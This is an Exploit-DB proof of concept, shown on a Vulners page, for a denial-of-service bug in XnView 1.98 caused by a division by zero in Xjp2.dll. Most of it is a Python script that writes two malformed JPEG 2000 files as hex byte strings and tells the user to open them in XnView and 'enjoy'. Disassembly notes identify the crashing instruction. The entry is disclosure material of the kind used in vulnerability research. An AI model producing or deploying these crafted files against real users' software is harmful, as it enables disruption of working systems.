Lucene search
K

XnView 1.98 - Denial of Service (PoC)

🗓️ 20 Jun 2011 00:00:00Reported by BraniXType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 38 Views

XnView 1.98 Denial of Service via Xjp2.dll integer division by zer

Code
# done by BraniX
# found: 2011.06.19
# published: 2011.06.20
# tested on: Windows XP SP3 Home Edition
# tested on: Windows XP SP3 Professional

# App: XnView 1.98 (latest version)
# App Url: http://www.xnview.com
# xnview.exe    MD5: ebe200d81a095d296e94e887dc40e607
# Xjp2.dll      MD5: 0c831c090f5a723d44bb641b175ca0e6

# DoS is caused by integer division by zero in module Xjp2.dll

# It can be triggered from:
# Local: C:\XnView 1.98 JP2000 (Compression 50%) DoS.jp2
# Remote: \\MySecretServer\XnView 1.98 JP2000 (Compression 50%) DoS.jp2

# 1000D1C4    8A44BA 03       MOV AL,BYTE PTR DS:[EDX+EDI*4+3]
# 1000D1C8    8941 E4         MOV DWORD PTR DS:[ECX-1C],EAX
# 1000D1CB    8B56 0C         MOV EDX,DWORD PTR DS:[ESI+C]
# 1000D1CE    8D4413 FF       LEA EAX,DWORD PTR DS:[EBX+EDX-1]
# 1000D1D2    33D2            XOR EDX,EDX
# 1000D1D4    F7F3            DIV EBX                                  ; div by zero
# 1000D1D6    33D2            XOR EDX,EDX
# 1000D1D8    8BE8            MOV EBP,EAX
# 1000D1DA    8B46 04         MOV EAX,DWORD PTR DS:[ESI+4]
# 1000D1DD    8D4403 FF       LEA EAX,DWORD PTR DS:[EBX+EAX-1]
# 1000D1E1    F7F3            DIV EBX
# 1000D1E3    8B59 E4         MOV EBX,DWORD PTR DS:[ECX-1C]

filepath = "C:\\XnView 1.98 JP2000 (Compression 50%) DoS.jp2"
f = open(filepath, "wb")
poc = '\x00\x00\x00\x0C\x6A\x50\x20\x20\x0D\x0A\x87\x0A\x00\x00\x00\x14\x66\x74\x79\x70\x6A\x70\x32\x20\x00\x00\x00\x00\x6A\x70\x32\x20\x00\x00\x00\x2D\x6A\x70\x32\x68\x00\x00\x00\x16\x69\x68\x64\x72\x00\x00\x00\x0D\x00\x00\x00\x0B\x00\x03\x07\x07\x00\x00\x00\x00\x00\x0F\x63\x6F\x6C\x72\x01\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x6A\x70\x32\x63\xFF\x4F\xFF\x51\x00\x2F\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x07\x00\x00\x07\x01\x01\x07\x01\x01\xFF\x5C\x00\x17\x42\x60\xC8\x42\x5D\x42\x5D\x42\x6D\x3A\xDB\x3A\xDB\x3B\x35\x32\xB8\x32\xB8\x32\x6B\xFF\x5D\x00\x18\x01\x42\x60\x6D\x41\xF2\x41\xF2\x42\x01\x3A\x6B\x3A\x6B\x3A\xC1\x32\x49\x32\x49\x31\xFF\xFF\x5D\x00\x18\x02\x42\x61\xAA\x43\x69\x43\x69\x43\x7A\x3B\xF3\x3B\xF3\x3C\x56\x33\xCC\x33\xCC\x33\x78\xFF\x52\x00\x0C\x00\x00\x00\x01\x01\x03\x04\x04\x00\x00\xFF\x64\x00\x0F\x00\x01\x4C\x57\x46\x5F\x4A\x50\x32\x5F\x32\x30\x37\xFF\x90\x00\x0A\x00\x00\x00\x00\x00\xA7\x00\x01\xFF\x93\xC7\xEC\x0C\x08\x8A\xC1\xC5\xD6\x54\xC0\x7D\x40\xA0\x0B\xBF\x3B\x6F\xDF\xC1\xF8\x02\x80\x03\x97\x3D\x32\x8B\xC0\xF8\x42\x87\xCE\x12\x07\xC2\x10\x01\x7F\x0C\x31\x03\x6B\x0B\xE3\xA0\x10\x80\x01\xC0\x74\x18\x1F\x08\x60\x04\x0C\x41\x6F\xC3\xE4\x13\x07\xC2\x34\x1F\x08\x80\x1C\xDD\xFD\x75\xB0\xA9\x74\x39\x3F\x0D\x31\x97\xD9\xD9\x7F\x0C\xAC\xCD\x9F\xC0\xE8\x60\x1F\x92\xE7\xC0\xE8\xB0\x3A\x1C\x04\x40\x1F\x1E\xA0\x20\x67\x12\x9A\x3F\x0C\xA7\xC3\xE1\x2A\x0E\x93\x07\x45\x61\x1C\x5E\xC3\xDD\xAC\x1B\xF5\x5B\xB9\x03\x8A\xAD\xF5\x07\x1F\x86\x1D\x5F\x19\xD8\x05\x13\xA3\xC0\x84\x5F\xC0\x8A\x04\x80\x01\x7F\x03\x9C\x46\xBF\xFF\xD9'
f.write(poc)
f.close()

print "Done, 1st file generated on 'C:\\' ..."
print "Open this file in XnView 1.98 and enjoy ;)"

filepath = "C:\\XnView 1.98 JP2000 (Lossless Compression) DoS.jp2"
f = open(filepath, "wb")
poc = '\x00\x00\x00\x0C\x6A\x50\x20\x20\x0D\x0A\x87\x0A\x00\x00\x00\x14\x66\x74\x79\x70\x6A\x70\x32\x20\x00\x00\x00\x00\x6A\x70\x32\x20\x00\x00\x00\x2D\x6A\x70\x32\x68\x00\x00\x00\x16\x69\x68\x64\x72\x00\x00\x00\x0D\x00\x00\x00\x0B\x00\x03\x07\x07\x00\x00\x00\x00\x00\x0F\x63\x6F\x6C\x72\x01\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x6A\x70\x32\x63\xFF\x4F\xFF\x51\x00\x2F\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x07\x01\x01\x00\x00\x01\x07\x01\x01\xFF\x5C\x00\x0D\x40\x40\x48\x48\x50\x48\x48\x50\x48\x48\x50\xFF\x52\x00\x0C\x00\x00\x00\x01\x01\x03\x04\x04\x00\x01\xFF\x64\x00\x0F\x00\x01\x4C\x57\x46\x5F\x4A\x50\x32\x5F\x32\x30\x37\xFF\x90\x00\x0A\x00\x00\x00\x00\x01\xD7\x00\x01\xFF\x93\xC7\xD4\x0A\x0B\xC7\x38\x51\x7F\xC3\xE7\x06\x05\x37\xD2\xC7\xD4\x0A\x03\x99\xA5\x4C\x37\xC1\xF3\x83\x8F\xB4\x16\x0F\xA8\x0C\x02\x3E\x7F\x0C\x36\xBB\x62\x2F\x0B\xCC\x17\xC0\x7C\x21\x40\x7C\x21\xC0\x7C\x80\x80\x04\x3F\x00\x8C\x5F\x08\x4B\xC1\xF3\x83\x87\xD4\x0B\x03\xE7\x06\x03\x86\x7F\x0C\x3F\x54\xA0\x7F\x08\xC3\x3F\xC7\xDA\x19\x0F\xA8\x26\x1F\x68\x50\x1D\x1C\x3D\xBB\xD4\xFC\x81\x39\x8F\xA6\x70\x69\x0D\x31\x7D\x53\xE7\xDB\x76\x1B\xBF\x0C\xAC\x1B\x93\x78\xD2\xF9\xD4\xA4\x4F\xC1\xF3\x8A\x81\xF2\x07\x80\xF9\x03\x80\x1C\x55\x34\xA2\x49\xD7\xFB\x27\x22\x0F\x01\xA7\xB1\x0A\x1F\x87\x4F\x04\x72\xC3\xEE\xE0\x5C\x7F\xC1\xF3\x8C\x87\xD4\x13\x07\xD4\x10\x11\x7B\xFC\x98\xB8\x1F\x71\x08\x68\xBE\x09\x3F\x0B\x4F\x2B\x89\x58\x56\x5E\xD9\xF3\x0C\xAC\x7A\x0E\x4B\x8C\xDA\x19\xC3\xEA\x1D\x87\xD4\x3D\x07\xD4\x30\x4F\x4D\xF3\xDD\x3B\x9E\x30\xC2\x67\xC8\xBE\x80\x42\x86\xA2\x9D\x6E\x6C\x29\x29\x2B\xDD\xF5\x71\x5E\xD4\x7D\xE4\x5F\x03\x8A\xAE\x0D\x74\xDA\xBA\xD1\x3F\xD2\x58\x2F\x8D\x45\x36\x7B\xF4\x45\xC1\x95\x14\xDB\x5D\x6E\x1C\x49\xC8\xC2\x72\xDF\x1E\xE9\x2F\x2C\xBC\xC7\xAA\x56\x9E\xA9\x73\xFD\xA7\xEB\xEB\x43\x78\x20\x08\x39\xEE\x07\xCE\x2B\xC1\xF3\x99\x83\xE7\x33\x03\xE7\x2E\x5F\xEC\x62\x95\x14\x7C\xE1\xB1\x36\x06\xEE\x8D\x1B\xB8\xD9\xFC\x4C\x12\x2D\x5F\xA2\xA1\x7C\x80\xFD\x3D\x57\x59\xB9\x1B\xCD\x48\x78\xB4\xC6\x7F\xC3\x73\x32\x8F\x6E\x38\x51\x45\xCD\xC7\xDA\xED\x54\x5B\x09\xC2\xC1\x85\xF6\x0B\x9C\xEF\x38\x79\x10\x72\x31\x80\x43\x0D\x75\x99\x95\x9C\xE6\x44\x7F\xC1\xF3\x9E\x87\xD4\x3D\x03\xE7\x2E\x11\x88\x13\x57\x4E\x51\x31\x2D\xBF\x76\xEC\x3E\x42\x3C\xF9\xA6\x5D\x7D\x96\x05\xF0\xA9\xA0\x9E\x69\x4C\xBF\x71\xA3\xBF\x03\x89\x78\x67\x57\xF0\xBB\xD2\x32\x12\x88\x9C\xD3\x41\xF6\x81\xED\x3E\x2E\x35\x62\xF1\x69\xDA\xC2\x71\x0F\xAB\x14\x1B\x16\x55\xAC\x51\x83\x1E\x48\x2E\x20\xC8\x39\x1A\x46\x12\xE1\x62\x07\x88\x8C\x43\x20\x1A\x1B\xFF\xD9'
f.write(poc)
f.close()

print "Done, 2nd file generated on 'C:\\' ..."
print "Open this file in XnView 1.98 and enjoy ;)"
    

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jun 2011 00:00Current
7.4High risk
Vulners AI Score7.4
38